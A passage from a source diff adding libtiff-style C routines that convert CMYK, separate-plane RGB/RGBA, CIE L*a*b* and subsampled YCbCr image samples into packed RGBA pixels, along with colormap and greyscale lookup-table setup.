+	cp += toskew;
+	wp += fromskew;
+    }
+}
+
+/*
+ * 8-bit packed CMYK samples w/o Map => RGB
+ *
+ * NB: The conversion of CMYK->RGB is *very* crude.
+ */
+DECLAREContigPutFunc(putRGBcontig8bitCMYKtile)
+{
+    int samplesperpixel = img->samplesperpixel;
+    uint16 r, g, b, k;
+
+    (void) x; (void) y;
+    fromskew *= samplesperpixel;
+    while (h-- > 0) {
+	UNROLL8(w, NOP,
+	    k = 255 - pp[3];
+	    r = (k*(255-pp[0]))/255;
+	    g = (k*(255-pp[1]))/255;
+	    b = (k*(255-pp[2]))/255;
+	    *cp++ = PACK(r, g, b);
+	    pp += samplesperpixel);
+	cp += toskew;
+	pp += fromskew;
+    }
+}
+
+/*
+ * 8-bit packed CMYK samples w/Map => RGB
+ *
+ * NB: The conversion of CMYK->RGB is *very* crude.
+ */
+DECLAREContigPutFunc(putRGBcontig8bitCMYKMaptile)
+{
+    int samplesperpixel = img->samplesperpixel;
+    TIFFRGBValue* Map = img->Map;
+    uint16 r, g, b, k;
+
+    (void) y;
+    fromskew *= samplesperpixel;
+    while (h-- > 0) {
+	for (x = w; x-- > 0;) {
+	    k = 255 - pp[3];
+	    r = (k*(255-pp[0]))/255;
+	    g = (k*(255-pp[1]))/255;
+	    b = (k*(255-pp[2]))/255;
+	    *cp++ = PACK(Map[r], Map[g], Map[b]);
+	    pp += samplesperpixel;
+	}
+	pp += fromskew;
+	cp += toskew;
+    }
+}
+
+#define	DECLARESepPutFunc(name) \
+static void name(\
+    TIFFRGBAImage* img,\
+    uint32* cp,\
+    uint32 x, uint32 y, \
+    uint32 w, uint32 h,\
+    int32 fromskew, int32 toskew,\
+    unsigned char* r, unsigned char* g, unsigned char* b, unsigned char* a\
+)
+
+/*
+ * 8-bit unpacked samples => RGB
+ */
+DECLARESepPutFunc(putRGBseparate8bittile)
+{
+    (void) img; (void) x; (void) y; (void) a;
+    while (h-- > 0) {
+	UNROLL8(w, NOP, *cp++ = PACK(*r++, *g++, *b++));
+	SKEW(r, g, b, fromskew);
+	cp += toskew;
+    }
+}
+
+/*
+ * 8-bit unpacked samples => RGB
+ */
+DECLARESepPutFunc(putRGBseparate8bitMaptile)
+{
+    TIFFRGBValue* Map = img->Map;
+
+    (void) y; (void) a;
+    while (h-- > 0) {
+	for (x = w; x > 0; x--)
+	    *cp++ = PACK(Map[*r++], Map[*g++], Map[*b++]);
+	SKEW(r, g, b, fromskew);
+	cp += toskew;
+    }
+}
+
+/*
+ * 8-bit unpacked samples => RGBA w/ associated alpha
+ */
+DECLARESepPutFunc(putRGBAAseparate8bittile)
+{
+    (void) img; (void) x; (void) y;
+    while (h-- > 0) {
+	UNROLL8(w, NOP, *cp++ = PACK4(*r++, *g++, *b++, *a++));
+	SKEW4(r, g, b, a, fromskew);
+	cp += toskew;
+    }
+}
+
+/*
+ * 8-bit unpacked samples => RGBA w/ unassociated alpha
+ */
+DECLARESepPutFunc(putRGBUAseparate8bittile)
+{
+    (void) img; (void) y;
+    while (h-- > 0) {
+	uint32 rv, gv, bv, av;
+	for (x = w; x-- > 0;) {
+	    av = *a++;
+	    rv = (*r++ * av) / 255;
+	    gv = (*g++ * av) / 255;
+	    bv = (*b++ * av) / 255;
+	    *cp++ = PACK4(rv,gv,bv,av);
+	}
+	SKEW4(r, g, b, a, fromskew);
+	cp += toskew;
+    }
+}
+
+/*
+ * 16-bit unpacked samples => RGB
+ */
+DECLARESepPutFunc(putRGBseparate16bittile)
+{
+    uint16 *wr = (uint16*) r;
+    uint16 *wg = (uint16*) g;
+    uint16 *wb = (uint16*) b;
+
+    (void) img; (void) y; (void) a;
+    while (h-- > 0) {
+	for (x = 0; x < w; x++)
+	    *cp++ = PACKW(*wr++, *wg++, *wb++);
+	SKEW(wr, wg, wb, fromskew);
+	cp += toskew;
+    }
+}
+
+/*
+ * 16-bit unpacked samples => RGBA w/ associated alpha
+ */
+DECLARESepPutFunc(putRGBAAseparate16bittile)
+{
+    uint16 *wr = (uint16*) r;
+    uint16 *wg = (uint16*) g;
+    uint16 *wb = (uint16*) b;
+    uint16 *wa = (uint16*) a;
+
+    (void) img; (void) y;
+    while (h-- > 0) {
+	for (x = 0; x < w; x++)
+	    *cp++ = PACKW4(*wr++, *wg++, *wb++, *wa++);
+	SKEW4(wr, wg, wb, wa, fromskew);
+	cp += toskew;
+    }
+}
+
+/*
+ * 16-bit unpacked samples => RGBA w/ unassociated alpha
+ */
+DECLARESepPutFunc(putRGBUAseparate16bittile)
+{
+    uint16 *wr = (uint16*) r;
+    uint16 *wg = (uint16*) g;
+    uint16 *wb = (uint16*) b;
+    uint16 *wa = (uint16*) a;
+
+    (void) img; (void) y;
+    while (h-- > 0) {
+	uint32 r,g,b,a;
+	/*
+	 * We shift alpha down four bits just in case unsigned
+	 * arithmetic doesn't handle the full range.
+	 * We still have plenty of accuracy, since the output is 8 bits.
+	 * So we have (r * 0xffff) * (a * 0xfff)) = r*a * (0xffff*0xfff)
+	 * Since we want r*a * 0xff for eight bit output,
+	 * we divide by (0xffff * 0xfff) / 0xff == 0x10eff.
+	 */
+	for (x = w; x-- > 0;) {
+	    a = *wa++ >> 4; 
+	    r = (*wr++ * a) / 0x10eff;
+	    g = (*wg++ * a) / 0x10eff;
+	    b = (*wb++ * a) / 0x10eff;
+	    *cp++ = PACK4(r,g,b,a);
+	}
+	SKEW4(wr, wg, wb, wa, fromskew);
+	cp += toskew;
+    }
+}
+
+/*
+ * 8-bit packed CIE L*a*b 1976 samples => RGB
+ */
+DECLAREContigPutFunc(putcontig8bitCIELab)
+{
+	float X, Y, Z;
+	uint32 r, g, b;
+	(void) y;
+	fromskew *= 3;
+	while (h-- > 0) {
+		for (x = w; x-- > 0;) {
+			TIFFCIELabToXYZ(img->cielab,
+					(unsigned char)pp[0],
+					(signed char)pp[1],
+					(signed char)pp[2],
+					&X, &Y, &Z);
+			TIFFXYZToRGB(img->cielab, X, Y, Z, &r, &g, &b);
+			*cp++ = PACK(r, g, b);
+			pp += 3;
+		}
+		cp += toskew;
+		pp += fromskew;
+	}
+}
+
+/*
+ * YCbCr -> RGB conversion and packing routines.
+ */
+
+#define	YCbCrtoRGB(dst, Y) {						\
+	uint32 r, g, b;							\
+	TIFFYCbCrtoRGB(img->ycbcr, (Y), Cb, Cr, &r, &g, &b);		\
+	dst = PACK(r, g, b);						\
+}
+
+/*
+ * 8-bit packed YCbCr samples => RGB 
+ * This function is generic for different sampling sizes, 
+ * and can handle blocks sizes that aren't multiples of the
+ * sampling size.  However, it is substantially less optimized
+ * than the specific sampling cases.  It is used as a fallback
+ * for difficult blocks.
+ */
+#ifdef notdef
+static void putcontig8bitYCbCrGenericTile( 
+    TIFFRGBAImage* img, 
+    uint32* cp, 
+    uint32 x, uint32 y, 
+    uint32 w, uint32 h, 
+    int32 fromskew, int32 toskew, 
+    unsigned char* pp,
+    int h_group, 
+    int v_group )
+
+{
+    uint32* cp1 = cp+w+toskew;
+    uint32* cp2 = cp1+w+toskew;
+    uint32* cp3 = cp2+w+toskew;
+    int32 incr = 3*w+4*toskew;
+    int32   Cb, Cr;
+    int     group_size = v_group * h_group + 2;
+
+    (void) y;
+    fromskew = (fromskew * group_size) / h_group;
+
+    for( yy = 0; yy < h; yy++ )
+    {
+        unsigned char *pp_line;
+        int     y_line_group = yy / v_group;
+        int     y_remainder = yy - y_line_group * v_group;
+
+        pp_line = pp + v_line_group * 
+
+        
+        for( xx = 0; xx < w; xx++ )
+        {
+            Cb = pp
+        }
+    }
+    for (; h >= 4; h -= 4) {
+	x = w>>2;
+	do {
+	    Cb = pp[16];
+	    Cr = pp[17];
+
+	    YCbCrtoRGB(cp [0], pp[ 0]);
+	    YCbCrtoRGB(cp [1], pp[ 1]);
+	    YCbCrtoRGB(cp [2], pp[ 2]);
+	    YCbCrtoRGB(cp [3], pp[ 3]);
+	    YCbCrtoRGB(cp1[0], pp[ 4]);
+	    YCbCrtoRGB(cp1[1], pp[ 5]);
+	    YCbCrtoRGB(cp1[2], pp[ 6]);
+	    YCbCrtoRGB(cp1[3], pp[ 7]);
+	    YCbCrtoRGB(cp2[0], pp[ 8]);
+	    YCbCrtoRGB(cp2[1], pp[ 9]);
+	    YCbCrtoRGB(cp2[2], pp[10]);
+	    YCbCrtoRGB(cp2[3], pp[11]);
+	    YCbCrtoRGB(cp3[0], pp[12]);
+	    YCbCrtoRGB(cp3[1], pp[13]);
+	    YCbCrtoRGB(cp3[2], pp[14]);
+	    YCbCrtoRGB(cp3[3], pp[15]);
+
+	    cp += 4, cp1 += 4, cp2 += 4, cp3 += 4;
+	    pp += 18;
+	} while (--x);
+	cp += incr, cp1 += incr, cp2 += incr, cp3 += incr;
+	pp += fromskew;
+    }
+}
+#endif
+
+/*
+ * 8-bit packed YCbCr samples w/ 4,4 subsampling => RGB
+ */
+DECLAREContigPutFunc(putcontig8bitYCbCr44tile)
+{
+    uint32* cp1 = cp+w+toskew;
+    uint32* cp2 = cp1+w+toskew;
+    uint32* cp3 = cp2+w+toskew;
+    int32 incr = 3*w+4*toskew;
+
+    (void) y;
+    /* adjust fromskew */
+    fromskew = (fromskew * 18) / 4;
+    if ((h & 3) == 0 && (w & 3) == 0) {				        
+        for (; h >= 4; h -= 4) {
+            x = w>>2;
+            do {
+                int32 Cb = pp[16];
+                int32 Cr = pp[17];
+
+                YCbCrtoRGB(cp [0], pp[ 0]);
+                YCbCrtoRGB(cp [1], pp[ 1]);
+                YCbCrtoRGB(cp [2], pp[ 2]);
+                YCbCrtoRGB(cp [3], pp[ 3]);
+                YCbCrtoRGB(cp1[0], pp[ 4]);
+                YCbCrtoRGB(cp1[1], pp[ 5]);
+                YCbCrtoRGB(cp1[2], pp[ 6]);
+                YCbCrtoRGB(cp1[3], pp[ 7]);
+                YCbCrtoRGB(cp2[0], pp[ 8]);
+                YCbCrtoRGB(cp2[1], pp[ 9]);
+                YCbCrtoRGB(cp2[2], pp[10]);
+                YCbCrtoRGB(cp2[3], pp[11]);
+                YCbCrtoRGB(cp3[0], pp[12]);
+                YCbCrtoRGB(cp3[1], pp[13]);
+                YCbCrtoRGB(cp3[2], pp[14]);
+                YCbCrtoRGB(cp3[3], pp[15]);
+
+                cp += 4, cp1 += 4, cp2 += 4, cp3 += 4;
+                pp += 18;
+            } while (--x);
+            cp += incr, cp1 += incr, cp2 += incr, cp3 += incr;
+            pp += fromskew;
+        }
+    } else {
+        while (h > 0) {
+            for (x = w; x > 0;) {
+                int32 Cb = pp[16];
+                int32 Cr = pp[17];
+                switch (x) {
+                default:
+                    switch (h) {
+                    default: YCbCrtoRGB(cp3[3], pp[15]); /* FALLTHROUGH */
+                    case 3:  YCbCrtoRGB(cp2[3], pp[11]); /* FALLTHROUGH */
+                    case 2:  YCbCrtoRGB(cp1[3], pp[ 7]); /* FALLTHROUGH */
+                    case 1:  YCbCrtoRGB(cp [3], pp[ 3]); /* FALLTHROUGH */
+                    }                                    /* FALLTHROUGH */
+                case 3:
+                    switch (h) {
+                    default: YCbCrtoRGB(cp3[2], pp[14]); /* FALLTHROUGH */
+                    case 3:  YCbCrtoRGB(cp2[2], pp[10]); /* FALLTHROUGH */
+                    case 2:  YCbCrtoRGB(cp1[2], pp[ 6]); /* FALLTHROUGH */
+                    case 1:  YCbCrtoRGB(cp [2], pp[ 2]); /* FALLTHROUGH */
+                    }                                    /* FALLTHROUGH */
+                case 2:
+                    switch (h) {
+                    default: YCbCrtoRGB(cp3[1], pp[13]); /* FALLTHROUGH */
+                    case 3:  YCbCrtoRGB(cp2[1], pp[ 9]); /* FALLTHROUGH */
+                    case 2:  YCbCrtoRGB(cp1[1], pp[ 5]); /* FALLTHROUGH */
+                    case 1:  YCbCrtoRGB(cp [1], pp[ 1]); /* FALLTHROUGH */
+                    }                                    /* FALLTHROUGH */
+                case 1:
+                    switch (h) {
+                    default: YCbCrtoRGB(cp3[0], pp[12]); /* FALLTHROUGH */
+                    case 3:  YCbCrtoRGB(cp2[0], pp[ 8]); /* FALLTHROUGH */
+                    case 2:  YCbCrtoRGB(cp1[0], pp[ 4]); /* FALLTHROUGH */
+                    case 1:  YCbCrtoRGB(cp [0], pp[ 0]); /* FALLTHROUGH */
+                    }                                    /* FALLTHROUGH */
+                }
+                if (x < 4) {
+                    cp += x; cp1 += x; cp2 += x; cp3 += x;
+                    x = 0;
+                }
+                else {
+                    cp += 4; cp1 += 4; cp2 += 4; cp3 += 4;
+                    x -= 4;
+                }
+                pp += 18;
+            }
+            if (h <= 4)
+                break;
+            h -= 4;
+            cp += incr, cp1 += incr, cp2 += incr, cp3 += incr;
+            pp += fromskew;
+        }
+    }
+}
+
+/*
+ * 8-bit packed YCbCr samples w/ 4,2 subsampling => RGB
+ */
+DECLAREContigPutFunc(putcontig8bitYCbCr42tile)
+{
+    uint32* cp1 = cp+w+toskew;
+    int32 incr = 2*toskew+w;
+
+    (void) y;
+    fromskew = (fromskew * 10) / 4;
+    if ((h & 3) == 0 && (w & 1) == 0) {
+        for (; h >= 2; h -= 2) {
+            x = w>>2;
+            do {
+                int32 Cb = pp[8];
+                int32 Cr = pp[9];
+                
+                YCbCrtoRGB(cp [0], pp[0]);
+                YCbCrtoRGB(cp [1], pp[1]);
+                YCbCrtoRGB(cp [2], pp[2]);
+                YCbCrtoRGB(cp [3], pp[3]);
+                YCbCrtoRGB(cp1[0], pp[4]);
+                YCbCrtoRGB(cp1[1], pp[5]);
+                YCbCrtoRGB(cp1[2], pp[6]);
+                YCbCrtoRGB(cp1[3], pp[7]);
+                
+                cp += 4, cp1 += 4;
+                pp += 10;
+            } while (--x);
+            cp += incr, cp1 += incr;
+            pp += fromskew;
+        }
+    } else {
+        while (h > 0) {
+            for (x = w; x > 0;) {
+                int32 Cb = pp[8];
+                int32 Cr = pp[9];
+                switch (x) {
+                default:
+                    switch (h) {
+                    default: YCbCrtoRGB(cp1[3], pp[ 7]); /* FALLTHROUGH */
+                    case 1:  YCbCrtoRGB(cp [3], pp[ 3]); /* FALLTHROUGH */
+                    }                                    /* FALLTHROUGH */
+                case 3:
+                    switch (h) {
+                    default: YCbCrtoRGB(cp1[2], pp[ 6]); /* FALLTHROUGH */
+                    case 1:  YCbCrtoRGB(cp [2], pp[ 2]); /* FALLTHROUGH */
+                    }                                    /* FALLTHROUGH */
+                case 2:
+                    switch (h) {
+                    default: YCbCrtoRGB(cp1[1], pp[ 5]); /* FALLTHROUGH */
+                    case 1:  YCbCrtoRGB(cp [1], pp[ 1]); /* FALLTHROUGH */
+                    }                                    /* FALLTHROUGH */
+                case 1:
+                    switch (h) {
+                    default: YCbCrtoRGB(cp1[0], pp[ 4]); /* FALLTHROUGH */
+                    case 1:  YCbCrtoRGB(cp [0], pp[ 0]); /* FALLTHROUGH */
+                    }                                    /* FALLTHROUGH */
+                }
+                if (x < 4) {
+                    cp += x; cp1 += x;
+                    x = 0;
+                }
+                else {
+                    cp += 4; cp1 += 4;
+                    x -= 4;
+                }
+                pp += 10;
+            }
+            if (h <= 2)
+                break;
+            h -= 2;
+            cp += incr, cp1 += incr;
+            pp += fromskew;
+        }
+    }
+}
+
+/*
+ * 8-bit packed YCbCr samples w/ 4,1 subsampling => RGB
+ */
+DECLAREContigPutFunc(putcontig8bitYCbCr41tile)
+{
+    (void) y;
+    /* XXX adjust fromskew */
+    do {
+	x = w>>2;
+	do {
+	    int32 Cb = pp[4];
+	    int32 Cr = pp[5];
+
+	    YCbCrtoRGB(cp [0], pp[0]);
+	    YCbCrtoRGB(cp [1], pp[1]);
+	    YCbCrtoRGB(cp [2], pp[2]);
+	    YCbCrtoRGB(cp [3], pp[3]);
+
+	    cp += 4;
+	    pp += 6;
+	} while (--x);
+
+        if( (w&3) != 0 )
+        {
+	    int32 Cb = pp[4];
+	    int32 Cr = pp[5];
+
+            switch( (w&3) ) {
+              case 3: YCbCrtoRGB(cp [2], pp[2]);
+              case 2: YCbCrtoRGB(cp [1], pp[1]);
+              case 1: YCbCrtoRGB(cp [0], pp[0]);
+              case 0: break;
+            }
+
+            cp += (w&3);
+            pp += 6;
+        }
+
+	cp += toskew;
+	pp += fromskew;
+    } while (--h);
+
+}
+
+/*
+ * 8-bit packed YCbCr samples w/ 2,2 subsampling => RGB
+ */
+DECLAREContigPutFunc(putcontig8bitYCbCr22tile)
+{
+    uint32* cp1 = cp+w+toskew;
+    int32 incr = 2*toskew+w;
+
+    (void) y;
+    fromskew = (fromskew * 6) / 2;
+    if ((h & 1) == 0 && (w & 1) == 0) {
+        for (; h >= 2; h -= 2) {
+            x = w>>1;
+            do {
+                int32 Cb = pp[4];
+                int32 Cr = pp[5];
+
+                YCbCrtoRGB(cp [0], pp[0]);
+                YCbCrtoRGB(cp [1], pp[1]);
+                YCbCrtoRGB(cp1[0], pp[2]);
+                YCbCrtoRGB(cp1[1], pp[3]);
+
+                cp += 2, cp1 += 2;
+                pp += 6;
+            } while (--x);
+            cp += incr, cp1 += incr;
+            pp += fromskew;
+        }
+    } else {
+        while (h > 0) {
+            for (x = w; x > 0;) {
+                int32 Cb = pp[4];
+                int32 Cr = pp[5];
+                switch (x) {
+                default:
+                    switch (h) {
+                    default: YCbCrtoRGB(cp1[1], pp[ 3]); /* FALLTHROUGH */
+                    case 1:  YCbCrtoRGB(cp [1], pp[ 1]); /* FALLTHROUGH */
+                    }                                    /* FALLTHROUGH */
+                case 1:
+                    switch (h) {
+                    default: YCbCrtoRGB(cp1[0], pp[ 2]); /* FALLTHROUGH */
+                    case 1:  YCbCrtoRGB(cp [0], pp[ 0]); /* FALLTHROUGH */
+                    }                                    /* FALLTHROUGH */
+                }
+                if (x < 2) {
+                    cp += x; cp1 += x;
+                    x = 0;
+                }
+                else {
+                    cp += 2; cp1 += 2;
+                    x -= 2;
+                }
+                pp += 6;
+            }
+            if (h <= 2)
+                break;
+            h -= 2;
+            cp += incr, cp1 += incr;
+            pp += fromskew;
+        }
+    }
+}
+
+/*
+ * 8-bit packed YCbCr samples w/ 2,1 subsampling => RGB
+ */
+DECLAREContigPutFunc(putcontig8bitYCbCr21tile)
+{
+    (void) y;
+    fromskew = (fromskew * 4) / 2;
+    do {
+	x = w>>1;
+	do {
+	    int32 Cb = pp[2];
+	    int32 Cr = pp[3];
+
+	    YCbCrtoRGB(cp[0], pp[0]); 
+	    YCbCrtoRGB(cp[1], pp[1]);
+
+	    cp += 2;
+	    pp += 4;
+	} while (--x);
+
+        if( (w&1) != 0 )
+        {
+	    int32 Cb = pp[2];
+	    int32 Cr = pp[3];
+            
+            YCbCrtoRGB(cp [0], pp[0]);
+
+	    cp += 1;
+	    pp += 4;
+        }
+
+	cp += toskew;
+	pp += fromskew;
+    } while (--h);
+}
+
+/*
+ * 8-bit packed YCbCr samples w/ no subsampling => RGB
+ */
+DECLAREContigPutFunc(putcontig8bitYCbCr11tile)
+{
+    (void) y;
+    fromskew *= 3;
+    do {
+        x = w; /* was x = w>>1; patched 2000/09/25 warmerda@home.com */ 
+	do {
+	    int32 Cb = pp[1];
+	    int32 Cr = pp[2];
+
+	    YCbCrtoRGB(*cp++, pp[0]);
+
+	    pp += 3;
+	} while (--x);
+	cp += toskew;
+	pp += fromskew;
+    } while (--h);
+}
+#undef	YCbCrtoRGB
+
+static tileContigRoutine
+initYCbCrConversion(TIFFRGBAImage* img)
+{
+	static char module[] = "initCIELabConversion";
+
+	float *luma, *refBlackWhite;
+	uint16 hs, vs;
+
+	if (img->ycbcr == NULL) {
+	    img->ycbcr = (TIFFYCbCrToRGB*) _TIFFmalloc(
+		    TIFFroundup(sizeof (TIFFYCbCrToRGB), sizeof (long))
+		    + 4*256*sizeof (TIFFRGBValue)
+		    + 2*256*sizeof (int)
+		    + 3*256*sizeof (int32)
+	    );
+	    if (img->ycbcr == NULL) {
+			TIFFErrorExt(img->tif->tif_clientdata, module,
+			      "No space for YCbCr->RGB conversion state");
+		    return (NULL);
+	    }
+	}
+
+	TIFFGetFieldDefaulted(img->tif, TIFFTAG_YCBCRCOEFFICIENTS, &luma);
+	TIFFGetFieldDefaulted(img->tif, TIFFTAG_REFERENCEBLACKWHITE,
+			      &refBlackWhite);
+	if (TIFFYCbCrToRGBInit(img->ycbcr, luma, refBlackWhite) < 0)
+		return NULL;
+
+	/*
+	 * The 6.0 spec says that subsampling must be
+	 * one of 1, 2, or 4, and that vertical subsampling
+	 * must always be <= horizontal subsampling; so
+	 * there are only a few possibilities and we just
+	 * enumerate the cases.
+	 */
+	TIFFGetFieldDefaulted(img->tif, TIFFTAG_YCBCRSUBSAMPLING, &hs, &vs);
+	switch ((hs<<4)|vs) {
+		case 0x44: return (putcontig8bitYCbCr44tile);
+		case 0x42: return (putcontig8bitYCbCr42tile);
+		case 0x41: return (putcontig8bitYCbCr41tile);
+		case 0x22: return (putcontig8bitYCbCr22tile);
+		case 0x21: return (putcontig8bitYCbCr21tile);
+		case 0x11: return (putcontig8bitYCbCr11tile);
+	}
+
+	return (NULL);
+}
+
+static tileContigRoutine
+initCIELabConversion(TIFFRGBAImage* img)
+{
+	static char module[] = "initCIELabConversion";
+
+	float   *whitePoint;
+	float   refWhite[3];
+
+	if (!img->cielab) {
+		img->cielab = (TIFFCIELabToRGB *)
+			_TIFFmalloc(sizeof(TIFFCIELabToRGB));
+		if (!img->cielab) {
+			TIFFErrorExt(img->tif->tif_clientdata, module,
+			    "No space for CIE L*a*b*->RGB conversion state.");
+			return NULL;
+		}
+	}
+
+	TIFFGetFieldDefaulted(img->tif, TIFFTAG_WHITEPOINT, &whitePoint);
+	refWhite[1] = 100.0F;
+	refWhite[0] = whitePoint[0] / whitePoint[1] * refWhite[1];
+	refWhite[2] = (1.0F - whitePoint[0] - whitePoint[1])
+		      / whitePoint[1] * refWhite[1];
+	if (TIFFCIELabToRGBInit(img->cielab, &display_sRGB, refWhite) < 0) {
+		TIFFErrorExt(img->tif->tif_clientdata, module,
+		    "Failed to initialize CIE L*a*b*->RGB conversion state.");
+		_TIFFfree(img->cielab);
+		return NULL;
+	}
+
+	return putcontig8bitCIELab;
+}
+
+/*
+ * Greyscale images with less than 8 bits/sample are handled
+ * with a table to avoid lots of shifts and masks.  The table
+ * is setup so that put*bwtile (below) can retrieve 8/bitspersample
+ * pixel values simply by indexing into the table with one
+ * number.
+ */
+static int
+makebwmap(TIFFRGBAImage* img)
+{
+    TIFFRGBValue* Map = img->Map;
+    int bitspersample = img->bitspersample;
+    int nsamples = 8 / bitspersample;
+    int i;
+    uint32* p;
+
+    if( nsamples == 0 )
+        nsamples = 1;
+
+    img->BWmap = (uint32**) _TIFFmalloc(
+	256*sizeof (uint32 *)+(256*nsamples*sizeof(uint32)));
+    if (img->BWmap == NULL) {
+		TIFFErrorExt(img->tif->tif_clientdata, TIFFFileName(img->tif), "No space for B&W mapping table");
+		return (0);
+    }
+    p = (uint32*)(img->BWmap + 256);
+    for (i = 0; i < 256; i++) {
+	TIFFRGBValue c;
+	img->BWmap[i] = p;
+	switch (bitspersample) {
+#define	GREY(x)	c = Map[x]; *p++ = PACK(c,c,c);
+	case 1:
+	    GREY(i>>7);
+	    GREY((i>>6)&1);
+	    GREY((i>>5)&1);
+	    GREY((i>>4)&1);
+	    GREY((i>>3)&1);
+	    GREY((i>>2)&1);
+	    GREY((i>>1)&1);
+	    GREY(i&1);
+	    break;
+	case 2:
+	    GREY(i>>6);
+	    GREY((i>>4)&3);
+	    GREY((i>>2)&3);
+	    GREY(i&3);
+	    break;
+	case 4:
+	    GREY(i>>4);
+	    GREY(i&0xf);
+	    break;
+	case 8:
+        case 16:
+	    GREY(i);
+	    break;
+	}
+#undef	GREY
+    }
+    return (1);
+}
+
+/*
+ * Construct a mapping table to convert from the range
+ * of the data samples to [0,255] --for display.  This
+ * process also handles inverting B&W images when needed.
+ */ 
+static int
+setupMap(TIFFRGBAImage* img)
+{
+    int32 x, range;
+
+    range = (int32)((1L<<img->bitspersample)-1);
+    
+    /* treat 16 bit the same as eight bit */
+    if( img->bitspersample == 16 )
+        range = (int32) 255;
+
+    img->Map = (TIFFRGBValue*) _TIFFmalloc((range+1) * sizeof (TIFFRGBValue));
+    if (img->Map == NULL) {
+		TIFFErrorExt(img->tif->tif_clientdata, TIFFFileName(img->tif),
+			"No space for photometric conversion table");
+		return (0);
+    }
+    if (img->photometric == PHOTOMETRIC_MINISWHITE) {
+	for (x = 0; x <= range; x++)
+	    img->Map[x] = (TIFFRGBValue) (((range - x) * 255) / range);
+    } else {
+	for (x = 0; x <= range; x++)
+	    img->Map[x] = (TIFFRGBValue) ((x * 255) / range);
+    }
+    if (img->bitspersample <= 16 &&
+	(img->photometric == PHOTOMETRIC_MINISBLACK ||
+	 img->photometric == PHOTOMETRIC_MINISWHITE)) {
+	/*
+	 * Use photometric mapping table to construct
+	 * unpacking tables for samples <= 8 bits.
+	 */
+	if (!makebwmap(img))
+	    return (0);
+	/* no longer need Map, free it */
+	_TIFFfree(img->Map), img->Map = NULL;
+    }
+    return (1);
+}
+
+static int
+checkcmap(TIFFRGBAImage* img)
+{
+    uint16* r = img->redcmap;
+    uint16* g = img->greencmap;
+    uint16* b = img->bluecmap;
+    long n = 1L<<img->bitspersample;
+
+    while (n-- > 0)
+	if (*r++ >= 256 || *g++ >= 256 || *b++ >= 256)
+	    return (16);
+    return (8);
+}
+
+static void
+cvtcmap(TIFFRGBAImage* img)
+{
+    uint16* r = img->redcmap;
+    uint16* g = img->greencmap;
+    uint16* b = img->bluecmap;
+    long i;
+
+    for (i = (1L<<img->bitspersample)-1; i >= 0; i--) {
+#define	CVT(x)		((uint16)((x)>>8))
+	r[i] = CVT(r[i]);
+	g[i] = CVT(g[i]);
+	b[i] = CVT(b[i]);
+#undef	CVT
+    }
+}
+
+/*
+ * Palette images with <= 8 bits/sample are handled
+ * with a table to avoid lots of shifts and masks.  The table
+ * is setup so that put*cmaptile (below) can retrieve 8/bitspersample
+ * pixel values simply by indexing into the table with one
+ * number.
+ */
+static int
+makecmap(TIFFRGBAImage* img)
+{
+    int bitspersample = img->bitspersample;
+    int nsamples = 8 / bitspersample;
+    uint16* r = img->redcmap;
+    uint16* g = img->greencmap;
+    uint16* b = img->bluecmap;
+    uint32 *p;
+    int i;
+
+    img->PALmap = (uint32**) _TIFFmalloc(
+	256*sizeof (uint32 *)+(256*nsamples*sizeof(uint32)));
+    if (img->PALmap == NULL) {
+		TIFFErrorExt(img->tif->tif_clientdata, TIFFFileName(img->tif), "No space for Palette mapping table");
+		return (0);
+	}
+    p = (uint32*)(img->PALmap + 256);
+    for (i = 0; i < 256; i++) {
+	TIFFRGBValue c;
+	img->PALmap[i] = p;
+#define	CMAP(x)	c = (TIFFRGBValue) x; *p++ = PACK(r[c]&0xff, g[c]&0xff, b[c]&0xff);
+	switch (bitspersample) {
+	case 1:
+	    CMAP(i>>7);
+	    CMAP((i>>6)&1);
+	    CMAP((i>>5)&1);
+	    CMAP((i>>4)&1);
+	    CMAP((i>>3)&1);
+	    CMAP((i>>2)&1);
+	    CMAP((i>>1)&1);
+	    CMAP(i&1);
+	    break;
+	case 2:
+	    CMAP(i>>6);
+	    CMAP((i>>4)&3);
+	    CMAP((i>>2)&3);
+	    CMAP(i&3);
+	    break;
+	case 4:
+	    CMAP(i>>4);
+	    CMAP(i&0xf);
+	    break;
+	case 8:
+	    CMAP(i);
+	    break;
+	}
+#undef CMAP
+    }
+    return (1);
+}
+
+/* 
+ * Construct any mapping table used
+ * by the associated put routine.
+ */
+static int
+buildMap(TIFFRGBAImage* img)
+{
+    switch (img->photometric) {
+    case PHOTOMETRIC_RGB:
+    case PHOTOMETRIC_YCBCR:
+    case PHOTOMETRIC_SEPARATED:
+	if (img->bitspersample == 8)
+	    break;
+	/* fall thru... */
+    case PHOTOMETRIC_MINISBLACK:
+    case PHOTOMETRIC_MINISWHITE:
+	if (!setupMap(img))
+	    return (0);
+	break;
+    case PHOTOMETRIC_PALETTE:
+	/*
+	 * Convert 16-bit colormap to 8-bit (unless it looks
+	 * like an old-style 8-bit colormap).
+	 */
+	if (checkcmap(img) == 16)
+	    cvtcmap(img);
+	else
+	    TIFFWarningExt(img->tif->tif_clientdata, TIFFFileName(img->tif), "Assuming 8-bit colormap");
+	/*
+	 * Use mapping table and colormap to construct
+	 * unpacking tables for samples < 8 bits.
+	 */
+	if (img->bitspersample <= 8 && !makecmap(img))
+	    return (0);
+	break;
+    }
+    return (1);
+}
+
+/*
+ * Select the appropriate conversion routine for packed data.
+ */
+static int
+pickTileContigCase(TIFFRGBAImage* img)
+{
+    tileContigRoutine put = 0;
+
+    if (buildMap(img)) {
+	switch (img->photometric) {
+	case PHOTOMETRIC_RGB:
+	    switch (img->bitspersample) {
+	    case 8:
+		if (!img->Map) {
+		    if (img->alpha == EXTRASAMPLE_ASSOCALPHA)
+			put = putRGBAAcontig8bittile;
+		    else if (img->alpha == EXTRASAMPLE_UNASSALPHA)
+			put = putRGBUAcontig8bittile;
+		    else
+			put = putRGBcontig8bittile;
+		} else
+		    put = putRGBcontig8bitMaptile;
+		break;
+	    case 16:
+		put = putRGBcontig16bittile;
+		if (!img->Map) {
+		    if (img->alpha == EXTRASAMPLE_ASSOCALPHA)
+			put = putRGBAAcontig16bittile;
+		    else if (img->alpha == EXTRASAMPLE_UNASSALPHA)
+			put = putRGBUAcontig16bittile;
+		}
+		break;
+	    }
+	    break;
+	case PHOTOMETRIC_SEPARATED:
+	    if (img->bitspersample == 8) {
+		if (!img->Map)
+		    put = putRGBcontig8bitCMYKtile;
+		else
+		    put = putRGBcontig8bitCMYKMaptile;
+	    }
+	    break;
+	case PHOTOMETRIC_PALETTE:
+	    switch (img->bitspersample) {
+	    case 8:	put = put8bitcmaptile; break;
+	    case 4: put = put4bitcmaptile; break;
